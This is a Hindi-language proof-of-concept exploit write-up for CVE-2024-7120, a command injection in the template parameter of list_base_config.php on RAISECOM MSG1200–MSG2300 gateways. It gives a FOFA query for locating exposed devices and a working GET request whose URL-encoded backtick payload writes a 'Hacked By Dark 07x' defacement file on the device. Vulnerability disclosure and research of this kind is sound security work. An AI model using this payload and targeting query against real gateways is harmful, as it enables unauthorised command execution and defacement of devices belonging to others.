
CVE-2024-7120 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, RAISECOM गेटवे डिवाइसों में कमांड इंजेक्शन। list_base_config.php में टेम्पलेट पैरामीटर के माध्यम से मनमाने कमांड निष्पादित करता है।
RAISECOM गेटवे उपकरणों में एक कमांड इंजेक्शन कमजोरी की पहचान की गई है, जो मॉडल MSG1200, MSG2100E, MSG2200 और MSG2300 को प्रभावित करती है। यह कमजोरी दूरस्थ हमलावरों को वेब इंटरफ़ेस के माध्यम से सिस्टम पर मनमाने कमांड निष्पादित करने की अनुमति देती है। समस्या list_base_config.php स्क्रिप्ट में है, विशेष रूप से template पैरामीटर के माध्यम से, जो इंटरनेट पर 25,112 से अधिक उपकरणों को प्रभावित करती है।
✔ FOFA : title="web user login" && body="<META content="MSHTML 6.00.2900.5583" name=GENERATOR>"
URI: /vpn/list_base_config.php
विवरण: list_base_config.php RAISECOM गेटवे उपकरणों का एक वेब-आधारित इंटरफ़ेस घटक है जिसका उपयोग VPN कॉन्फ़िगरेशन प्रबंधित करने के लिए किया जाता है। पहचानी गई कमजोरी इस स्क्रिप्ट में template पैरामीटर के अनुचित हैंडलिंग के कारण उत्पन्न होती है। अपर्याप्त इनपुट सैनिटाइजेशन के कारण इस पैरामीटर का उपयोग डिवाइस के ऑपरेटिंग सिस्टम पर मनमाने कमांड निष्पादित करने के लिए किया जा सकता है।
CWE-77: कमांड इंजेक्शन
यहाँ एक उदाहरण दिया गया है कि कैसे कमजोरी का शोषण curl कमांड का उपयोग करके किया जा सकता है:
GET "http://host.com/vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo%20-e%20%27{{Hacked By Dark 07x}}%27%3E%20%2Fwww%2Ftmp%2Finfo.html%60"
इस उदाहरण में, curl कमांड list_base_config.php स्क्रिप्ट पर एक दुर्भावनापूर्ण HTTP GET अनुरोध भेजता है। अनुरोध template पैरामीटर का उपयोग करके एक कमांड निष्पादित करता है।